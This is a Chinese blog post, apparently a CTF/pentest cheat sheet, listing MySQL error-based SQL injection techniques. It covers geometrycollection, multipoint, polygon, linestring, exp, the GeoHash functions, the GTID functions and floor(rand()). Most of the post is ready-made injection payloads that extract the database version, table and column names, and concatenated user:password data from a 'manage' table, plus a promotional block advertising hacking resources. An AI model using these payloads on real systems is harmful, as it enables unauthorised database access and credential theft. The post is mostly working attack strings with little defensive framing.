报错注入函数指南

1. geometrycollection() mysql版本5.5

(1)函数解释:

GeometryCollection是由1个或多个任意类几何对象构成的几何对象。GeometryCollection中的所有元素必须具有相同的空间参考系(即相同的坐标系)。

(2)官方文档中举例的用法如下:
GEOMETRYCOLLECTION(POINT(10 10), POINT(30 30), LINESTRING(15 15, 20 20))

(3)报错原因:

因为MYSQL无法使用这样的字符串画出图形,所以报错

#获取版本信息

1') and geometrycollection((select * from(select * from(select version())a)b)); %23

在这里插入图片描述


#获取当前表名

1') and geometrycollection((select * from(select * from(select table_name from information_schema.tables where table_schema=database() limit 0,1)a)b)); %23

在这里插入图片描述


#获取manage表里的段名

1') and geometrycollection((select * from(select * from(select column_name from information_schema.columns where table_name='manage' limit 0,1)a)b)); %23

在这里插入图片描述


#获取字段里的数据

1') and geometrycollection((select * from(select * from(select distinct concat(0x23,user,0x2a,password,0x23,name,0x23) FROM manage limit 0,1)a)b)); %23

在这里插入图片描述


2. multipoint() mysql版本5.5


(1)函数解释:
MultiPoint是一种由Point元素构成的几何对象集合。这些点未以任何方式连接或排序。

(2)报错原因:
同样是因为无法使用字符串画出图形与geometrycollection类似


#获取版本信息

1') and multipoint((select * from(select * from(select version())a)b)); %23

在这里插入图片描述


#获取当前表名

1') and multipoint((select * from(select * from(select table_name from information_schema.tables where table_schema=database() limit 0,1)a)b)); %23

在这里插入图片描述


#获取manage表里的段名

1') and multipoint((select * from(select * from(select column_name from information_schema.columns where table_name='manage' limit 0,1)a)b))

在这里插入图片描述


#获取字段里的数据

1)' and multipoint((select * from(select * from(select distinct concat(0x23,user,0x2a,password,0x23,name,0x23) FROM manage limit 0,1)a)b)); %23

在这里插入图片描述


3. polygon()

polygon来自希腊。 “Poly” 意味 “many” , “gon” 意味 “angle”.
Polygon是代表多边几何对象的平面Surface。它由单个外部边界以及0或多个内部边界定义,其中,每个内部边界定义为Polygon中的1个孔。

') or polygon((select * from(select * from(select (SELECT GROUP_CONCAT(user,':',password) from manage))asd)asd))--+


4. mutipolygon()

') or multipolygon((select * from(select * from(select (SELECT GROUP_CONCAT(user,':',password) from manage))asd)asd))--+


在这里插入图片描述


5. linestring

报错原理:
mysql的有些几何函数( 例如geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring() )对参数要求为几何数据,若不满足要求则会报错,适用于5.1-5.5版本 (5.0.中存在但是不会报错)

#查询数据库名称

1') and linestring((select * from(select * from(select database())a)b))--+;

在这里插入图片描述


#获取表数据

1') and  linestring((select * from(select * from (select table_name from information_schema.tables where table_schema=database() limit 6,1)a)b))--+;

在这里插入图片描述


#获取manage里的段名

1') and linestring((select * from(select * from (select column_name from information_schema.columns where table_name = 'manage' limit 0,1)a)b))--+;

在这里插入图片描述


#获取字段数据

1') or linestring((select * from(select * from (select group_concat(user,':',`password`) from manage limit 0,32)a)b))--+;

在这里插入图片描述


6. multilinestring

【----帮助安全学习,所有资源获取处----】
①18份渗透测试电子书
②安全攻防300页笔记
③30份安全攻防面试指南
④安全红队渗透工具包
⑤网络安全必备书籍
⑥99个漏洞实战案例

#查询数据库名称

1') and multilinestring((select * from(select * from(select database())a)b))--+;

在这里插入图片描述


#获取表数据

1') and multilinestring((select * from(select * from (select table_name from information_schema.tables where table_schema=database() limit 6,1)a)b))--+;

在这里插入图片描述


#获取manage里的段名

1') and multilinestring((select * from(select * from (select column_name from information_schema.columns where table_name = 'manage' limit 0,1)a)b))--+;

在这里插入图片描述


#获取字段数据

1') or  multilinestring((select * from(select * from (select group_concat(user,':',`password`) from manage limit 0,32)a)b))--+;

在这里插入图片描述


7. exp()

exp(x)       返回 e 的 x 次方

当 数据过大 溢出时报错,即 x > 709


注入payload

mail=') or exp(~(select * from (select (concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e))) as asd))--+


#关于 as asd
进行嵌套查询的时候子查询出来的的结果是作为一个派生表来进行上一级的查询的,所以子查询的结果必须要有一个别名
在这里插入图片描述


8. ST.LatFromGeoHash()(mysql>=5.7.x)


#payload

') or ST_LatFromGeoHash((select * from(select * from(select (select (concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e))))a)b))--+

9. ST.LongFromGeoHash(mysql>=5.7.x)()


#payload
#同 8 ,都使用了嵌套查询

') or ST_LongFromGeoHash((select * from(select * from(select (select (concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e))))a)b))--+

在这里插入图片描述


10. GTID (MySQL >= 5.6.X - 显错<=200)

0x01 GTID

GTID是MySQL数据库每次提交事务后生成的一个全局事务标识符,GTID不仅在本服务器上是唯一的,其在复制拓扑中也是唯一的

GTID的表现形式 -> GTID =
source_id:transaction_id其中source_id一般为数据库的uuid,transaction_id为事务ID,从1开始3E11FA47-71CA-11E1-9E33-C80AA9429562:23如上面的GTID可以看出该事务为UUID为3E11FA47-71CA-11E1-9E33-C80AA9429562的数据库的23号事务

GTID集合(一组全局事务标识符):
GTID集合为多个单GTID和一个范围内GTID的集合,他主要用于如下地方

  • gtid_executed 系统变量
  • gtid_purged系统变量
  • GTID_SUBSET() 和 GTID_SUBTRACT()函数

格式如下:

3E11FA47-71CA-11E1-9E33-C80AA9429562:1-5

它代表uuid为3E11FA47-71CA-11E1-9E33-C80AA9429562的服务器的1到5号事务
也可以是这样

3E11FA47-71CA-11E1-9E33-C80AA9429562:1-3:11:47-49

他代表该服务器的1到3号,11号和47到49号事务

0X02 函数详解

GTID_SUBSET() 和 GTID_SUBTRACT() 函数,我们知道他的输入值是 GTIDset ,当输入有误时,就会报错

  1. GTID_SUBSET( set1 , set2 ) - 若在 set1 中的 GTID,也在 set2 中,返回 true,否则返回 false ( set1 是 set2 的子集)
  2. GTID_SUBTRACT( set1 , set2 ) - 返回在 set1 中,不在 set2 中的 GTID 集合 ( set1 与 set2 的差集)
    正常情况如下

GTID_SUBSET(‘3E11FA47-71CA-11E1-9E33-C80AA9429562:23’,‘3E11FA47-71CA-11E1-9E33-C80AA9429562:21-57’)GTID_SUBTRACT(‘3E11FA47-71CA-11E1-9E33-C80AA9429562:21-57’,‘3E11FA47-71CA-11E1-9E33-C80AA9429562:20-25’)

0x03 注入过程( payload )

GTID_SUBSET函数

') or gtid_subset(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e),1)--+


GTID_SUBTRACT

') or gtid_subtract(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e),1)--+

在这里插入图片描述

函数都是那样,只是适用的版本不同


11. floor(8.x>mysql>5.0)


#获取数据库版本信息

')or (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

在这里插入图片描述


#获取当前数据库

')or (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

在这里插入图片描述


#获取表数据

')or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='test' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

在这里插入图片描述在这里插入图片描述


#获取manage表里的段名

')or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = 'manage' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

在这里插入图片描述


#获取字段里面的数据

1)获取数据的前部分

')or (select 1 from (select count(*),concat(mid(concat(0x23,(select group_concat(user,':',`password`) from manage),0x23),1,32),floor(rand(0)*2))x from information_schema.tables group by x)a)--+ [前部分]

在这里插入图片描述


2)获取数据的后部分

')or (select 1 from (select count(*),concat(mid(concat(0x23,(select group_concat(user,':',`password`) from manage),0x23),26,32),floor(rand(0)*2))x from information_schema.tables group by x)a)--+ [后部分]

在这里插入图片描述在这里插入图片描述


12. ST_Pointfromgeohash (mysql>5.7)


#获取数据库版本信息

')or  ST_PointFromGeoHash(version(),1)--+

在这里插入图片描述


#获取表数据

')or  ST_PointFromGeoHash((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)--+

在这里插入图片描述


#获取manage表里的段名

')or  ST_PointFromGeoHash((select column_name from information_schema.columns where table_name = 'manage' limit 0,1),1)--+

在这里插入图片描述


#获取字段里面的数据

')or  ST_PointFromGeoHash((concat(0x23,(select group_concat(user,':',`password`) from manage),0x23)),1)--+

在这里插入图片描述

  • 2
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值